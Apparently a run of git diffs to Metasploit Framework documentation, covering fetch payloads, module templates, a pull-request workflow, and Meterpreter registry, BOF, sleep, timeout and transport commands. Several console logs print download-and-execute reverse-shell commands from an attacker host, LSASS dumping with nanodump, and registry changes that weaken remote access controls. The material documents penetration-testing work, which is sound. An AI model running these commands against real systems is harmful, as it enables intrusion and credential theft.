2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444
|
||||
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445
|
||||
LPORT => 4445
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
|
||||
|
||||
[*] Command to run on remote host: curl -so plEYxIdBQna.exe tftp://10.5.135.201:8080/test1 & start /B plEYxIdBQna.exe
|
||||
[*] Payload Handler Started as Job 4
|
||||
|
||||
[*] starting tftpserver on 10.5.135.201:8080
|
||||
[*] Started reverse TCP handler on 10.5.135.201:4445
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
|
||||
|
||||
Jobs
|
||||
====
|
||||
|
||||
Id Name Payload Payload opts
|
||||
-- ---- ------- ------------
|
||||
2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444
|
||||
4 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4445
|
||||
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
|
||||
[*] exec: netstat -an | grep 8080
|
||||
|
||||
udp 0 0 10.5.135.201:8080 0.0.0.0:*
|
||||
udp 0 0 10.5.135.201:8080 0.0.0.0:*
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH test4
|
||||
FETCH_URIPATH => test4
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 8547
|
||||
LPORT => 8547
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
|
||||
|
||||
[*] Command to run on remote host: curl -so DOjmRoCOSMn.exe tftp://10.5.135.201:8080/test4 & start /B DOjmRoCOSMn.exe
|
||||
[*] Payload Handler Started as Job 5
|
||||
|
||||
[*] starting tftpserver on 10.5.135.201:8080
|
||||
[*] Started reverse TCP handler on 10.5.135.201:8547
|
||||
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
|
||||
[*] exec: netstat -an | grep 8080
|
||||
|
||||
udp 0 0 10.5.135.201:8080 0.0.0.0:*
|
||||
udp 0 0 10.5.135.201:8080 0.0.0.0:*
|
||||
udp 0 0 10.5.135.201:8080 0.0.0.0:*
|
||||
|
||||
```
|
||||
There is nothing to stop you from creating a race condition by starting multiple tftp servers with the same IP, port,
|
||||
and `FETCH_URI` value but serving different payloads. This will result in a race condition where the payload served is
|
||||
non-deterministic.
|
||||
|
||||
|
||||
### Windows Only
|
||||
#### `Certutil`
|
||||
Certutil is a great choice for Windows targets- it is likely to be present on most recent releases of Windows and is
|
||||
highly configurable. The one troublesome aspect is that there is no insecure mode for Certutil, so if you are using
|
||||
Certutil with the HTTPS protocol, the certificate must be correct and checked. It supports `HTTP` and `HTTPS`
|
||||
protocols.
|
||||
|
||||
### Linux Only
|
||||
#### `FTP`
|
||||
FTP is an old but useful binary. While we support using the FTP binary, we do not have an FTP server. Modern releases
|
||||
of FTP support both HTTP and HTTPS protocols. Unfortunately, we only support these modern versions of inline FTP, so it
|
||||
may not be appropriate for older systems.
|
||||
|
||||
#### `TNFTP`
|
||||
TNFTP (not to be confused with TFTP) is a newer version of FTP. It is exactly the same as modern FTP, but sometimes both the legacy FTP and TNFTP are
|
||||
present on a system, so the command will be `tnftp` rather than `ftp`.
|
||||
|
||||
#### WGET
|
||||
WGET is likely the first choice for a linux-only target. It supports both HTTPS and HTTP and all Fetch payload options.
|
||||
It is ubiquitous on Linux hosts and very standard, making it an excellent choice.
|
||||
@@ -74,7 +74,7 @@ To get things started, you can always use the following template to start develo
|
||||
|
||||
```ruby
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
@@ -127,4 +127,28 @@ def check
|
||||
end
|
||||
```
|
||||
|
||||
Another possible way to inspect is grab the vulnerable file, and use Metasm. But of course, this is a lot slower and generates more network traffic.
|
||||
Another possible way to inspect is grab the vulnerable file, and use Metasm. But of course, this is a lot slower and generates more network traffic.
|
||||
|
||||
|
||||
## AutoCheck Mixin
|
||||
|
||||
Metasploit offers the possibility to automatically call the `check` method before the `exploit` or `run` method is run. Just prepend the `AutoCheck` module for this, nothing more:
|
||||
|
||||
```ruby
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
```
|
||||
|
||||
According to the `CheckCode` returned by the `check` method, Framework will decided if the module should be executed or not:
|
||||
|
||||
| Checkcode | Module executed? |
|
||||
| --------- | ----------- |
|
||||
| **Exploit::CheckCode::Vulnerable** | yes |
|
||||
| **Exploit::CheckCode::Appears** | yes |
|
||||
| **Exploit::CheckCode::Detected** | yes |
|
||||
| **Exploit::CheckCode::Safe** | no |
|
||||
| **Exploit::CheckCode::Unsupported** | no |
|
||||
| **Exploit::CheckCode::Unknown** | no |
|
||||
|
||||
This mixin brings two new options that let the operator control its behavior:
|
||||
- `AutoCheck`: Sets whether or not the `check` method will be run. Default is `true`.
|
||||
- `ForceExploit`: Override the check result. The `check` method is run but the module will be executed regardless of the result. Default is `false`.
|
||||
|
||||
+1
-1
@@ -8,7 +8,7 @@ Here is how you can set it up:
|
||||
|
||||
```ruby
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
@@ -54,16 +54,16 @@ In addition, we're going to add a magical line to the config file that will let
|
||||
|
||||
So, open up `metasploit-framework/.git/config` with your favorite editor, add an upstream remote, and add the pull request refs for both your and Rapid7's forks. In the end, you should have a section that started off like this:
|
||||
|
||||
````config
|
||||
```config
|
||||
[remote "upstream"]
|
||||
fetch = +refs/heads/*:refs/remotes/upstream/*
|
||||
fetch = +refs/pull/*/head:refs/remotes/upstream/pr/*
|
||||
url = https://github.com/rapid7/metasploit-framework
|
||||
````
|
||||
```
|
||||
|
||||
And now it looks like this:
|
||||
|
||||
````config
|
||||
```config
|
||||
[remote "upstream"]
|
||||
fetch = +refs/heads/*:refs/remotes/upstream/*
|
||||
fetch = +refs/pull/*/head:refs/remotes/upstream/pr/*
|
||||
@@ -72,13 +72,13 @@ And now it looks like this:
|
||||
fetch = +refs/heads/*:refs/remotes/origin/*
|
||||
fetch = +refs/pull/*/head:refs/remotes/origin/pr/*
|
||||
url = https://github.com/YOURNAME/metasploit-framework
|
||||
````
|
||||
```
|
||||
|
||||
Some people like to copy these over into remotes named "rapid7" and "yourusername" just so they don't have to remember about "origin" and "upstream," but for this doc, we'll just assume you have "origin" and "upstream" defined like this.
|
||||
|
||||
Now, you can git fetch the remote PRs. This will take a little bit, since we have a couple dozen MBs of pull request data. Storage is cheap, though, right?
|
||||
|
||||
````
|
||||
```
|
||||
$ git fetch --all
|
||||
Fetching todb-r7
|
||||
remote: Counting objects: 13, done.
|
||||
@@ -97,7 +97,7 @@ From https://github.com/rapid7/metasploit-framework
|
||||
[... bunches of tags and PRs ...]
|
||||
* [new ref] refs/pull/1701/head -> upstream/pr/1701
|
||||
* [new ref] refs/pull/1702/head -> upstream/pr/1702
|
||||
````
|
||||
```
|
||||
|
||||
You can `git fetch` a remote any time, and you'll get access to the latest changes to all branches and pull requests.
|
||||
|
||||
@@ -105,7 +105,7 @@ You can `git fetch` a remote any time, and you'll get access to the latest chang
|
||||
|
||||
A manageable strategy for dealing with outstanding PRs is to start pre-merge testing on the pull request in isolation. For example, to work on PR #1217, we would:
|
||||
|
||||
````
|
||||
```
|
||||
$ git checkout upstream/pr/1217
|
||||
Note: checking out 'upstream/pr/1217'.
|
||||
|
||||
@@ -124,7 +124,7 @@ HEAD is now at 9e499e5... Make BindTCP test more robust
|
||||
|
||||
```
|
||||
$ git checkout -b landing-1217
|
||||
````
|
||||
```
|
||||
|
||||
Now, we're on a local branch identical to the original pull request, and can move on from there. We can make our changes, isolated from master, and then either send them back to the contributor (this requires looking up the original contributor's GitHub username and branch name on GitHub), or if there aren't any changes or the changes are trivial, we can land them (if you have committer rights to Rapid7's repo, this is where you land them to the upstream repo).
|
||||
|
||||
@@ -173,7 +173,7 @@ You need to add their fork once as a remote: `git remote add OTHER_USER git://gi
|
||||
|
||||
# Making changes
|
||||
|
||||
````
|
||||
```
|
||||
$ gvim .gitignore
|
||||
[... make some changes and some commits ...]
|
||||
(landing-1217) todb@mazikeen:~/git/rapid7/metasploit-framework
|
||||
@@ -184,21 +184,21 @@ $ git push origin pr1271-fix-gitignore-conflict
|
||||
(pr1217-fix-gitignore-conflict) todb@mazikeen:~/git/rapid7/metasploit-framework
|
||||
$ git pr-url schierlm javapayload-maven
|
||||
Created new window in existing browser session.
|
||||
````
|
||||
```
|
||||
|
||||
This sequence does a few things after editing `.gitconfig`. It creates another copy of landing-1217 (which is itself a copy of upstream/pr/1217)). Next, I push those changes to my branch (todb-r7, aka "origin"). Finally, I have a mighty [.gitconfig alias here](https://gist.github.com/todb-r7/5438391) to open a browser window to send a pull request to the original contributor's branch (you will want to edit yours to reflect your real GitHub username, of course).
|
||||
|
||||
````
|
||||
```ini
|
||||
pr-url = !"echo https://github.com/YOURNAME/metasploit-framework/pull/new/HISNAME:HISBRANCH...YOURBRANCH"
|
||||
````
|
||||
```
|
||||
|
||||
Filling in the blanks (provided by the original PR's information from GitHub) gets me:
|
||||
|
||||
````
|
||||
```
|
||||
https://github.com/todb-r7/metasploit-framework/pull/new/schierlm:javapayload-maven...pr1217-fix-gitignore-conflict
|
||||
````
|
||||
```
|
||||
|
||||
I opened that in a browser, and ended up with https://github.com/schierlm/metasploit-framework/pull/1 . Once @schierlm landed it on his branch (again, using `git merge --no-ff` and a short, informational merge commit message), all I (or anyone) had to do was `git fetch` to get the change reflected in upstream/pr/1217, and then the integration of the PR could continue.
|
||||
I opened that in a browser, and ended up with https://github.com/schierlm/metasploit-framework/pull/1 . Once [@schierlm](https://github.com/schierlm) landed it on his branch (again, using `git merge --no-ff` and a short, informational merge commit message), all I (or anyone) had to do was `git fetch` to get the change reflected in upstream/pr/1217, and then the integration of the PR could continue.
|
||||
|
||||
# Collaboration between contributors
|
||||
|
||||
@@ -206,9 +206,9 @@ Note the important bit here: **you do not need commit rights to Rapid7 to branch
|
||||
|
||||
# Landing to upstream
|
||||
|
||||
Back to PR #1217. Turns out, my change was enough to land the original chunk of work. So, someone else (@jlee-r7) was able to to do something like this:
|
||||
Back to PR #1217. Turns out, my change was enough to land the original chunk of work. So, someone else ([@jlee-r7](https://github.com/jlee-r7)) was able to to do something like this:
|
||||
|
||||
````
|
||||
```
|
||||
$ git fetch upstream
|
||||
remote: Counting objects: 12, done.
|
||||
remote: Compressing objects: 100% (2/2), done.
|
||||
@@ -216,31 +216,31 @@ remote: Total 7 (delta 5), reused 7 (delta 5)
|
||||
Unpacking objects: 100% (7/7), done.
|
||||
From https://github.com/rapid7/metasploit-framework
|
||||
9e499e5..263e967 refs/pull/1651/head -> upstream/pr/1651
|
||||
````
|
||||
```
|
||||
|
||||
This all looked good, so he could land this to Rapid7's repo with:
|
||||
|
||||
````
|
||||
``
|
||||
$ git checkout -b upstream-master --track upstream/master
|
||||
$ git merge -S --no-ff --edit landing-1217
|
||||
$ git push upstream upstream-master:master
|
||||
````
|
||||
``
|
||||
|
||||
Or, if he already have upstream-master checked out:
|
||||
|
||||
````
|
||||
```
|
||||
$ git checkout upstream-master
|
||||
$ git rebase upstream/master
|
||||
$ git merge -S --no-ff --edit landing-1217
|
||||
$ git push upstream upstream-master:master
|
||||
````
|
||||
```
|
||||
|
||||
The `--edit` is optional if we have our editor configured correctly in `$HOME/.gitconfig`. The point here is that we *always* want a merge commit, and we *never* want to use the (often useless) default merge commit message. For #1217, this was changed to:
|
||||
|
||||
````commit
|
||||
```
|
||||
Land #1217, java payload build system refactor
|
||||
|
||||
````
|
||||
```
|
||||
|
||||
Note that you should rebase *before* landing -- otherwise, your merge commit will be lost in the rebase.
|
||||
|
||||
@@ -248,7 +248,7 @@ Finally, the -S indicates we are going to sign the merge, using our GPG key. Thi
|
||||
|
||||
To set yourself up for signing, your .gitconfig (or metasploit-framework/git/.config) file should have these entries:
|
||||
|
||||
````
|
||||
```ini
|
||||
[user]
|
||||
name = Your Name
|
||||
email = your@email.xxx
|
||||
@@ -256,7 +256,7 @@ signingkey = DEADBEEF # Must match exactly with your key for "Your Name <your@em
|
||||
[alias]
|
||||
c = commit -S --edit
|
||||
m = merge -S --no-ff --edit
|
||||
````
|
||||
```
|
||||
|
||||
People with commit rights to rapid7/metasploit-framework will have their [[keys listed here|./Committer-Keys.md]].
|
||||
|
||||
@@ -271,10 +271,6 @@ Release note examples:
|
||||
|
||||
The [rn-no-release-notes](https://github.com/rapid7/metasploit-framework/issues?utf8=%E2%9C%93&q=label%3Arn-no-release-notes+) label must be added if there are no release notes for the merged pull request.
|
||||
|
||||
# Cross-linking PRs, Bugs, and Commits
|
||||
|
||||
TODO: Update in this new post-Redmine, GitHub issues world
|
||||
|
||||
# Merge conflicts
|
||||
|
||||
The nice thing about this strategy is that you can test for merge conflicts straight away. You'd use a sequence like:
|
||||
@@ -291,4 +287,4 @@ If that works, great, you know you don't have any merge conflicts right now.
|
||||
|
||||
# Questions and Corrections
|
||||
|
||||
Reach out in #contributors on [Metasploit Slack](https://metasploit.com/slack), or by e-mailing msfdev at metasploit dot com.
|
||||
Reach out in #contributors on [Metasploit Slack](https://metasploit.com/slack), or by e-mailing msfdev at metasploit dot com.
|
||||
|
||||
@@ -20,7 +20,7 @@ Tools like Veil, pwnlib, etc. have for a long time used native compilers and too
|
||||
|
||||
### Native first-class UUID-aware, async stager payload
|
||||
|
||||
Make a new async payload type (based on pingback payload work) making secure comms, endpoint verification, and async communication first-class citizens, and on by default. These session types would support a much more limited set of actions than Meterpreter, only supporting sleep/upload/download/stage, but would be upgraded to Meterpreter directly as-needed (maybe even transparently). Network protocols can be much more exotic for this, and the listener/payload should be usable externally from Metasploit as well. Todo: pull in async payload proposal notes from @bwatters-r7.
|
||||
Make a new async payload type (based on pingback payload work) making secure comms, endpoint verification, and async communication first-class citizens, and on by default. These session types would support a much more limited set of actions than Meterpreter, only supporting sleep/upload/download/stage, but would be upgraded to Meterpreter directly as-needed (maybe even transparently). Network protocols can be much more exotic for this, and the listener/payload should be usable externally from Metasploit as well. Todo: pull in async payload proposal notes from [@bwatters-r7](https://github.com/bwatters-r7).
|
||||
|
||||
## Module Interface
|
||||
|
||||
|
||||
@@ -147,7 +147,7 @@ Open a WinRM session:
|
||||
|
||||
```msf
|
||||
msf6 > use auxiliary/scanner/winrm/winrm_login
|
||||
msf6 auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd win::rmauth=kerberos domaincontrollerrhost=192.168.123.13 winrm::rhostname=dc3.demo.local domain=demo.local
|
||||
msf6 auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd winrm::auth=kerberos domaincontrollerrhost=192.168.123.13 winrm::rhostname=dc3.demo.local domain=demo.local
|
||||
|
||||
[+] 192.168.123.13:88 - Received a valid TGT-Response
|
||||
[*] 192.168.123.13:5985 - TGT MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230118120604_default_192.168.123.13_mit.kerberos.cca_451736.bin
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
The Loginpalooza contest is over! Congrats and thanks to @TomSellers, @ChrisTuncer, and @0a2940!
|
||||
The Loginpalooza contest is over! Congrats and thanks to [@TomSellers](https://github.com/TomSellers), [@ChrisTruncer](https://github.com/ChrisTruncer), and [@0a2940](https://github.com/0a2940)!
|
||||
|
||||
The list of [modules to refactor](#modules-to-refactor) is still here. Modules that get refactored should be removed from the list entirely.
|
||||
|
||||
@@ -115,4 +115,4 @@ If you'd like to learn how to convert your favorite existing module, or write a
|
||||
- [ ]
|
||||
[post/windows/gather/enum_domains.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/enum_domains.rb) - Creates realms
|
||||
- [ ]
|
||||
[post/windows/gather/enum_logged_on_users.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/enum_logged_on_users.rb) - Creates publics but not privates
|
||||
[post/windows/gather/enum_logged_on_users.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/enum_logged_on_users.rb) - Creates publics but not privates
|
||||
|
||||
@@ -83,7 +83,7 @@ php shell_http.php
|
||||
|
||||
```
|
||||
use windows/x64/meterpreter_reverse_tcp
|
||||
generate -f exe -o shell.exe MeterpreterDebugBuild=true MeterpreterDebugLogging='rpath:C:/test/foo.txt'
|
||||
generate -f exe -o shell.exe MeterpreterDebugBuild=true MeterpreterDebugLogging='rpath:C:/Windows/Temp/foo.txt'
|
||||
|
||||
to_handler
|
||||
```
|
||||
|
||||
@@ -33,8 +33,6 @@ The `bofloader` extension provides exactly one command, through which all of the
|
||||
|
||||
`execute_bof </path/to/bof_file> [Options] -- [BOF Arguments]`
|
||||
|
||||
|
||||
|
||||
* `-c` / `--compile` -- Compile the input file (requires mingw).
|
||||
* `-e` / `--entry` -- The entry point (default: `go`).
|
||||
* `-f` / `--format-string` -- Argument format-string. See details below.
|
||||
@@ -79,7 +77,7 @@ argument format string.
|
||||
# Usage Examples
|
||||
Executing [dir][4], passing the path argument and number of sub-directories to list.
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > execute_bof CS-Situational-Awareness-BOF/SA/dir/dir.x64.o --format-string Zs C:\\ 0
|
||||
Contents of C:\*:
|
||||
08/05/2022 15:17 <dir> $Recycle.Bin
|
||||
@@ -103,7 +101,7 @@ meterpreter >
|
||||
Executing [nanodump][5]. First the PID of LSASS is found, then the argument string is constructed. The output must be
|
||||
written to disk. Once completed, the dump file can be downloaded from the remote host.
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > ps lsass
|
||||
Filtering on 'lsass'
|
||||
|
||||
|
||||
@@ -32,7 +32,7 @@ Each value also has an associated type, for example:
|
||||
|
||||
All of these examples assume you are in a Meterpreter session. To see the latest help information run `help reg`:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > help reg
|
||||
Usage: reg [command] [options]
|
||||
Interact with the target machine's registry.
|
||||
@@ -44,7 +44,7 @@ Interact with the target machine's registry.
|
||||
|
||||
Registry keys must be escaped correctly. Window's registry keys are escaped with backslashes. In msfconsole backslashes and spaces have a special meaning - which means you will need to escape these characters for your key to work as expected.
|
||||
|
||||
```
|
||||
```msf
|
||||
# Valid: Using single quotes around the registry key
|
||||
meterpreter > reg enumkey -k 'HKCU\Keyboard Layout'
|
||||
|
||||
@@ -75,7 +75,7 @@ Active sessions
|
||||
|
||||
For example - when interacting with a x86 session there are 12 keys listed:
|
||||
|
||||
```
|
||||
```msf
|
||||
# x86 Session
|
||||
meterpreter > reg enumkey -k 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows'
|
||||
Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
|
||||
@@ -86,7 +86,7 @@ Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
|
||||
|
||||
Versus a x64 session which shows 23 keys:
|
||||
|
||||
```
|
||||
```msf
|
||||
# x64 Session
|
||||
meterpreter > reg enumkey -k 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows'
|
||||
Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
|
||||
@@ -98,7 +98,7 @@ Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
|
||||
|
||||
If this is problematic either [[upgrade your session to Meterpreter|./Metasploit-Guide-Upgrading-Shells-to-Meterpreter.md]], or specify the `-w` flag which will impact the result of queries:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg enumkey -k 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows' -w 32
|
||||
Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
|
||||
|
||||
@@ -106,7 +106,7 @@ Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
|
||||
# ... omitted for clarity ...
|
||||
```
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg enumkey -k 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows' -w 64
|
||||
Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
|
||||
|
||||
@@ -119,7 +119,7 @@ Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
|
||||
|
||||
Enumerate a root key:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg enumkey -k HKLM
|
||||
Enumerating: HKLM
|
||||
|
||||
@@ -135,7 +135,7 @@ Enumerating: HKLM
|
||||
|
||||
Enumerate a subkey:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg enumkey -k 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run'
|
||||
Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
|
||||
|
||||
@@ -149,7 +149,7 @@ Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
|
||||
|
||||
Display the registry value and type information:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg queryval -k 'HKLM\Software\Microsoft\Windows NT\CurrentVersion' -v ProductName
|
||||
Key: HKLM\Software\Microsoft\Windows NT\CurrentVersion
|
||||
Name: ProductName
|
||||
@@ -159,7 +159,7 @@ Data: Windows 10 Enterprise
|
||||
|
||||
Values that are of type `REG_SZ_EXPAND` such as ` %SystemRoot%\system32\drivers\GM.DLS` will not automatically be expanded:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg queryval -k 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DirectMusic' -v 'GMFilePath'
|
||||
Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DirectMusic
|
||||
Name: GMFilePath
|
||||
@@ -169,7 +169,7 @@ Data: C:\Windows\system32\drivers\GM.DLS
|
||||
|
||||
Values that are of type `REG_MULTI_SZ` will be separated by `\0`:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg queryval -k 'HKLM\Software\example' -v 'example multi value with spaces'
|
||||
Key: HKLM\Software\example
|
||||
Name: example multi value with spaces
|
||||
@@ -179,7 +179,7 @@ Data: line1\0line2\0line3
|
||||
|
||||
### Creating a key
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg createkey -k 'HKLM\software\example'
|
||||
Successfully created key: HKLM\software\example
|
||||
```
|
||||
@@ -188,42 +188,42 @@ Successfully created key: HKLM\software\example
|
||||
|
||||
Setting a `REG_DWORD` - use a decimal value:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg setval -k 'HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\system' -v LocalAccountTokenFilterPolicy -t REG_DWORD -d 1
|
||||
Successfully set LocalAccountTokenFilterPolicy of REG_DWORD.
|
||||
```
|
||||
|
||||
Setting a `REG_QWORD` - use a decimal value:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg setval -k 'HKLM\Software\example' -t REG_DWORD -v qword_example -d 12345678
|
||||
Successfully set example multi value with spaces of REG_MULTI_SZ.
|
||||
```
|
||||
|
||||
Setting `REG_MULTI_SZ` - i.e. an array of strings:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg setval -k 'HKLM\Software\example' -t REG_MULTI_SZ -v 'example multi value with spaces' -d 'line1\0line2\0line3'
|
||||
Successfully set example multi value with spaces of REG_MULTI_SZ.
|
||||
```
|
||||
|
||||
Setting `REG_BINARY` - use lowercase hexadecimal input without the preceding `0x`:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg setval -k 'HKLM\Software\example' -t REG_BINARY -v binary_example -d deadbeef
|
||||
Successfully set binary_example of REG_BINARY.
|
||||
```
|
||||
|
||||
### Deleting a key
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg deletekey -k 'HKLM\software\example'
|
||||
Successfully deleted key: HKLM\software\example
|
||||
```
|
||||
|
||||
### Deleting a value
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > reg deleteval -k 'HKLM\software\example' -v 'example multi value with spaces'
|
||||
Successfully deleted example multi value with spaces.
|
||||
```
|
||||
|
||||
@@ -16,7 +16,7 @@ During this dormant period, no socket is active, no requests are made, and no re
|
||||
|
||||
The interface to the sleep command looks like this:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > sleep
|
||||
Usage: sleep <time>
|
||||
|
||||
@@ -31,7 +31,7 @@ As shown, `sleep` expects to be given a single postive integer value that repres
|
||||
|
||||
The following shows a sample run where Meterpreter is put to sleep for 20 seconds, after which the session reconnects while the handler is still in background:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > sleep 20
|
||||
[*] Telling the target instance to sleep for 20 seconds ...
|
||||
[+] Target instance has gone to sleep, terminating current session.
|
||||
|
||||
@@ -57,7 +57,7 @@ The data or time cost of uploading `metsrv`, `stdapi` and `priv` for every singl
|
||||
|
||||
It's hard to believe it possible, but in this case the following image could be considered a nightmare.
|
||||
|
||||
```
|
||||
```msf
|
||||
[*] Sending stage (173056 bytes) to xxx.xxx.xxx.xxx
|
||||
[*] Meterpreter session 4684 opened ....
|
||||
[*] Sending stage (173056 bytes) to xxx.xxx.xxx.xxx
|
||||
@@ -150,4 +150,4 @@ Congratulations, you're dancing with stageless Meterpreter!
|
||||
|
||||
At this point, all of the pre-loaded extensions have been loaded into Meterpreter and are available for use. However, Metasploit is yet to know about them. To initiate client-site wiring of any of the pre-loaded extensions, the user can just type `use <extension>` just like they used to. Metasploit will check to see if the extension already exists in the target instance, and if it does, it will skip the extension upload and just wire-up the functions on the client side. If the extension is missing, then it will upload it and wire-up the functions on the fly just like it always has done.
|
||||
|
||||
If you're working with `meterpreter_reverse_https`, you'll notice that when new shells come in they appear just like an orphaned instance. This is expected behaviour, because a stageless session can't and won't look any different to an old session that hasn't been in touch with Metasploit for a while.
|
||||
If you're working with `meterpreter_reverse_https`, you'll notice that when new shells come in they appear just like an orphaned instance. This is expected behaviour, because a stageless session can't and won't look any different to an old session that hasn't been in touch with Metasploit for a while.
|
||||
|
||||
@@ -44,7 +44,7 @@ While the current time is within the `retry total` time, Meterpreter will consta
|
||||
|
||||
Meterpreter supports the querying and updating of each of these timeouts via the console. In order to get the current timeout settings, users can invoke the `get_timeouts` command, which returns all four of the current timeout settings (one for the global session, and three for the transport-specific settings). An example of which is shown below:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > get_timeouts
|
||||
Session Expiry : @ 2015-06-09 19:56:05
|
||||
Comm Timeout : 100000 seconds
|
||||
@@ -56,7 +56,7 @@ The `Session Expiry` value is rendered as an absolute local time so that the use
|
||||
|
||||
In order to update these values, users can invoke the `set_timeouts` command. Invoking it without parameters shows the help:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > set_timeouts
|
||||
Usage: set_timeouts [options]
|
||||
|
||||
@@ -77,7 +77,7 @@ In the case of the `-x` parameter, the value that is to be passed in should repr
|
||||
|
||||
The following example updates the session expiration timeout to be `2` minutes from "now", and changes the retry wait time to `3` seconds:
|
||||
|
||||
```
|
||||
```msf
|
||||
meterpreter > set_timeouts -x 120 -t 3
|
||||
Session Expiry : @ 2015-06-02 22:45:13
|
||||
Comm Timeout : 100000 seconds
|
||||
@@ -86,7 +86,7 @@ Retry Wait Time : 2500 seconds
|
||||
```
|
||||
|
||||
This command can be invoked any number of times while the session is valid, but as soon as the session has expired, Metepreter will shut down and it's game over:
|
||||
```
|
||||
```msf
|
||||
meterpreter >
|
||||
[*] 10.1.10.35 - Meterpreter session 2 closed. Reason: Died
|
||||
```
|
||||
|
||||
@@ -26,7 +26,7 @@ Meterpreter has a new base command called `transport`. This is the hub of all tr
|
||||
|
||||
The following output shows the current help text for the `transport` command:
|
||||
|
||||
```bash
|
||||
```msf
|
||||
meterpreter > transport
|
||||
Usage: transport <list|change|add|next|prev|remove> [options]
|
||||
|
||||
@@ -65,7 +65,7 @@ OPTIONS:
|
||||
|
||||
The simplest of all the sub-commands in the `transport` set is `list`. This command shows the full list of currently enabled transport, and an indicator of which one is the "current" transport. The following shows the non-verbose output with just the default transport running:
|
||||
|
||||
```bash
|
||||
```msf
|
||||
meterpreter > transport list
|
||||
Session Expiry : @ 2015-06-09 19:56:05
|
||||
|
||||
@@ -82,7 +82,7 @@ The above output shows that we have one transport enabled that is using `TCP`. W
|
||||
|
||||
The verbose version of this command shows more detail about the transport, but only in cases where extra detail is available (such as `reverse_http/s`). The following command shows the output of the `list` sub-command with the verbose flag (`-v`) after an `HTTP` transport has been added:
|
||||
|
||||
```bash
|
||||
```msf
|
||||
meterpreter > transport list -v
|
||||
Session Expiry : @ 2015-06-09 19:56:05
|
||||
|
||||
@@ -98,7 +98,7 @@ Adding transports gives Meterpreter the ability to work on different transport m
|
||||
|
||||
The following command shows a simple example that adds a `reverse_http` transport to an existing Meterpreter session. It specifies a custom communications timeout, retry total and retry wait, and also specifies a custom user-agent string to be used for the HTTP requests:
|
||||
|
||||
```bash
|
||||
```msf
|
||||
meterpreter > transport add -t reverse_http -l 10.1.10.40 -p 5105 -T 50000 -W 2500 -C 100000 -A "Totes-Legit Browser/1.1"
|
||||
[*] Adding new transport ...
|
||||
